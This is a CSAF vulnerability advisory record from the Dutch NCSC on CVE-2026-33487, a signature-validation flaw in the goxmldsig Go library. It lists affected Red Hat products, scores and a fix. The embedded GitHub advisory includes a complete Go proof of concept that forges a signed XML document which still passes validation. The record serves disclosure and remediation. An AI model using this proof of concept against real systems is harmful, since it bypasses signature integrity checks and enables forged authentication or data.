{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-33487", "tracking": { "current_release_date": "2026-03-30T20:40:41.256220Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-33487", "initial_release_date": "2026-03-20T21:41:21.225901Z", "revision_history": [ { "date": "2026-03-20T21:41:21.225901Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-20T21:41:23.431452Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-26T17:38:41.877066Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)." }, { "date": "2026-03-26T17:38:44.764902Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-26T18:26:59.439101Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)." }, { "date": "2026-03-26T18:27:01.737580Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-27T20:56:57.202389Z", "number": "7", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-27T20:57:03.052820Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-03-28T07:58:33.401016Z", "number": "9", "summary": "References created (1)." }, { "date": "2026-03-28T12:28:27.293241Z", "number": "10", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (17).| Product Identifiers created (7).| Product Remediations created (17).| References created (3).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-03-28T12:28:32.611131Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-29T03:16:22.358165Z", "number": "12", "summary": "References removed (1)." }, { "date": "2026-03-29T16:14:29.983692Z", "number": "13", "summary": "References created (1)." }, { "date": "2026-03-30T12:39:43.174864Z", "number": "14", "summary": "Unknown change." }, { "date": "2026-03-30T12:39:45.005994Z", "number": "15", "summary": "NCSC Score updated." } ], "status": "interim", "version": "15" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2552008", "product_identification_helper": { "cpe": "cpe:/a:redhat:multicluster_globalhub" } } } ], "category": "product_name", "name": "Multicluster Global Hub" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/2", "product": { "name": "vers:rpm/2", "product_id": "CSAFPID-1441080", "product_identification_helper": { "cpe": "cpe:/a:redhat:acm:2" } } } ], "category": "product_name", "name": "Red Hat Advanced Cluster Management for Kubernetes 2" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/4", "product": { "name": "vers:rpm/4", "product_id": "CSAFPID-1441083", "product_identification_helper": { "cpe": "cpe:/a:redhat:advanced_cluster_security:4" } } } ], "category": "product_name", "name": "Red Hat Advanced Cluster Security 4" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/10", "product": { "name": "vers:rpm/10", "product_id": "CSAFPID-2858634", "product_identification_helper": { "cpe": "cpe:/o:redhat:enterprise_linux:10" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux 10" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/8", "product": { "name": "vers:rpm/8", "product_id": "CSAFPID-1439317", "product_identification_helper": { "cpe": "cpe:/a:redhat:enterprise_linux:8" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux 8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/9", "product": { "name": "vers:rpm/9", "product_id": "CSAFPID-1439319", "product_identification_helper": { "cpe": "cpe:/o:redhat:enterprise_linux:9" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux 9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1", "product": { "name": "vers:rpm/1", "product_id": "CSAFPID-1439281", "product_identification_helper": { "cpe": "cpe:/a:redhat:openshift_gitops:1" } } } ], "category": "product_name", "name": "Red Hat OpenShift GitOps" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2914772" } } ], "category": "product_name", "name": "acm-grafana-rhel9" } ], "category": "product_family", "name": "Red Hat Advanced Cluster Management for Kubernetes 2" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1496380" } } ], "category": "product_name", "name": "dex-rhel8" } ], "category": "product_family", "name": "Red Hat OpenShift GitOps" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2868420" } } ], "category": "product_name", "name": "grafana" } ], "category": "product_family", "name": "Red Hat Enterprise Linux 10" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1663145" } } ], "category": "product_name", "name": "grafana" } ], "category": "product_family", "name": "Red Hat Enterprise Linux 8" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1496261" } } ], "category": "product_name", "name": "grafana" } ], "category": "product_family", "name": "Red Hat Enterprise Linux 9" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2914734" } } ], "category": "product_name", "name": "multicluster-globalhub-grafana-rhel9" } ], "category": "product_family", "name": "Multicluster Global Hub" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1441085" } } ], "category": "product_name", "name": "rhacs-main-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1441086" } } ], "category": "product_name", "name": "rhacs-rhel8-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1441087" } } ], "category": "product_name", "name": "rhacs-roxctl-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1441093" } } ], "category": "product_name", "name": "rhacs-scanner-v4-rhel8" } ], "category": "product_family", "name": "Red Hat Advanced Cluster Security 4" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<1.6.0", "product": { "name": "vers:unknown/<1.6.0", "product_id": "CSAFPID-5918247" } } ], "category": "product_name", "name": "goxmldsig" } ], "category": "vendor", "name": "russellhaering" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33487", "cwe": { "id": "CWE-347", "name": "Improper Verification of Cryptographic Signature" }, "notes": [ { "category": "description", "text": "### Details\n\nThe `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop.\n\n------\n\n### Technical Details\n\nThe code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.\n\nAs a result, any pointer to this variable will always point to the value of the *last* element processed by the loop, no matter which element matched the search criteria.\n\nUsing Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.\n\n```````go\n// goxmldsig/validate.go (Lines 309-313)\t\nfor _, _ref := range signedInfo.References {\n\t\tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t\t\tref = &_ref // <- Capture var address of loop\n\t\t}\n\t}\n\n```````\n\n-----\n\n### PoC\n\nThe PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.\n\n``````go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/beevik/etree\"\n\tdsig \"github.com/russellhaering/goxmldsig\"\n)\n\nfunc main() {\n\tkey, err := rsa.GenerateKey(rand.Reader, 2048)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttemplate := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tNotBefore: time.Now().Add(-1 * time.Hour),\n\t\tNotAfter: time.Now().Add(1 * time.Hour),\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcert, _ := x509.ParseCertificate(certDER)\n\n\tdoc := etree.NewDocument()\n\troot := doc.CreateElement(\"Root\")\n\troot.CreateAttr(\"ID\", \"target\")\n\troot.SetText(\"Malicious Content\")\n\n\ttlsCert := tls.Certificate{\n\t\tCertificate: [][]byte{cert.Raw},\n\t\tPrivateKey: key,\n\t}\n\n\tks := dsig.TLSCertKeyStore(tlsCert)\n\tsigningCtx := dsig.NewDefaultSigningContext(ks)\n\n\tsig, err := signingCtx.ConstructSignature(root, true)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsignedInfo := sig.FindElement(\"./SignedInfo\")\n\n\texistingRef := signedInfo.FindElement(\"./Reference\")\n\texistingRef.CreateAttr(\"URI\", \"#dummy\")\n\n\toriginalEl := etree.NewElement(\"Root\")\n\toriginalEl.CreateAttr(\"ID\", \"target\")\n\toriginalEl.SetText(\"Original Content\")\n\n\tsig1, _ := signingCtx.ConstructSignature(originalEl, true)\n\tref1 := sig1.FindElement(\"./SignedInfo/Reference\").Copy()\n\n\tsignedInfo.InsertChildAt(existingRef.Index(), ref1)\n\n\tc14n := signingCtx.Canonicalizer\n\n\tdetachedSI := signedInfo.Copy()\n\tif detachedSI.SelectAttr(\"xmlns:\"+dsig.DefaultPrefix) == nil {\n\t\tdetachedSI.CreateAttr(\"xmlns:\"+dsig.DefaultPrefix, dsig.Namespace)\n\t}\n\n\tcanonicalBytes, err := c14n.Canonicalize(detachedSI)\n\tif err != nil {\n\t\tfmt.Println(\"c14n error:\", err)\n\t\treturn\n\t}\n\n\thash := signingCtx.Hash.New()\n\thash.Write(canonicalBytes)\n\tdigest := hash.Sum(nil)\n\n\trawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsigVal := sig.FindElement(\"./SignatureValue\")\n\tsigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))\n\n\tcertStore := &dsig.MemoryX509CertificateStore{\n\t\tRoots: []*x509.Certificate{cert},\n\t}\n\tvalCtx := dsig.NewDefaultValidationContext(certStore)\n\n\troot.AddChild(sig)\n\n\tdoc.SetRoot(root)\n\tstr, _ := doc.WriteToString()\n\tfmt.Println(\"XML:\")\n\tfmt.Println(str)\n\n\tvalidated, err := valCtx.Validate(root)\n\tif err != nil {\n\t\tfmt.Println(\"validation failed:\", err)\n\t} else {\n\t\tfmt.Println(\"validation ok\")\n\t\tfmt.Println(\"validated text:\", validated.Text())\n\t}\n}\n``````\n\n-----\n\n### Impact\n\nThis vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// goxmldsig/validate.go\t\nfunc (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {\n\tvar ref *types.Reference\n\n // OLD\n\t// for _, _ref := range signedInfo.References {\n\t// \tif _ref.URI == \"\" || _ref.URI[1:] == idAttr {\n\t// \t\tref = &_ref\n\t// \t}\n\t// }\n\t\n // FIX\n\tfor i := range signedInfo.References {\n\t\tif signedInfo.References[i].URI == \"\" ||\n\t\t\tsignedInfo.References[i].URI[1:] == idAttr {\n\t\t\tref = &signedInfo.References[i]\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// ...\n}\n``````\n\n----\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/347.html\n\nhttps://cwe.mitre.org/data/definitions/682.html\n\nhttps://github.com/russellhaering/goxmldsig/blob/main/validate.go\n\n-----\n\n**Author**: Tomas Illuminati", "title": "github - https://api.github.com/advisories/GHSA-479m-364c-43vc" }, { "category": "description", "text": "goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33487.json" }, { "category": "description", "text": "goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33487" }, { "category": "description", "text": "goxmlsig provides XML Digital Signatures implemented in Go. Prior to version 1.6.0, the `validateSignature` function in `validate.go` goes through the references in the `SignedInfo` block to find one that matches the signed element's ID. In Go versions before 1.22, or when `go.mod` uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable `_ref` instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the `ref` pointer will always end up pointing to the last element in the `SignedInfo.References` slice after the loop. goxmlsig version 1.6.0 contains a patch.\nA flaw was found in goxmlsig, a Go library for XML Digital Signatures. This vulnerability arises from a programming error, specifically a loop variable capture issue, within the `validateSignature` function. When processing XML Digital Signatures, this error can cause the system to incorrectly validate the signature, potentially allowing an attacker to bypass integrity checks. This issue affects Go versions before 1.22 or projects using older `go.mod` configurations.", "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33487.json" }, { "category": "other", "text": "0.0002", "title": "EPSS" }, { "category": "other", "text": "3.8", "title": "NCSC Score" }, { "category": "other", "text": "There is cwe data available from source Nvd, The value of the most recent EPSS score, The value of the most recent CVSS (V3) score, There is product_remediation data available from source Redhat", "title": "NCSC Score top decreasing factors" }, { "category": "details", "text": "Severity: 3\n", "title": "Vendor assessment" } ], "product_status": { "known_affected": [ "CSAFPID-5918247", "CSAFPID-1439281", "CSAFPID-1439317", "CSAFPID-1439319", "CSAFPID-1441080", "CSAFPID-1441083", "CSAFPID-1441085", "CSAFPID-1441086", "CSAFPID-1441087", "CSAFPID-1441093", "CSAFPID-1496261", "CSAFPID-1496380", "CSAFPID-1663145", "CSAFPID-2552008", "CSAFPID-2858634", "CSAFPID-2868420", "CSAFPID-2914734", "CSAFPID-2914772" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-479m-364c-43vc" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33487.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33487" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - redhat", "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33487.json" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; redhat", "url": "https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-479m-364c-43vc" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-479m-364c-43vc" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-33487" }, { "category": "external", "summary": "Reference - github; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33487" } ], "remediations": [ { "category": "mitigation", "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.", "product_ids": [ "CSAFPID-1439281", "CSAFPID-1439317", "CSAFPID-1439319", "CSAFPID-1441080", "CSAFPID-1441083", "CSAFPID-1441085", "CSAFPID-1441086", "CSAFPID-1441087", "CSAFPID-1441093", "CSAFPID-1496261", "CSAFPID-1496380", "CSAFPID-1663145", "CSAFPID-2552008", "CSAFPID-2858634", "CSAFPID-2868420", "CSAFPID-2914734", "CSAFPID-2914772" ] } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-1439281", "CSAFPID-1439317", "CSAFPID-1439319", "CSAFPID-1441080", "CSAFPID-1441083", "CSAFPID-1441085", "CSAFPID-1441086", "CSAFPID-1441087", "CSAFPID-1441093", "CSAFPID-1496261", "CSAFPID-1496380", "CSAFPID-1663145", "CSAFPID-2552008", "CSAFPID-2858634", "CSAFPID-2868420", "CSAFPID-2914734", "CSAFPID-2914772", "CSAFPID-5918247" ] } ], "title": "CVE-2026-33487" } ] }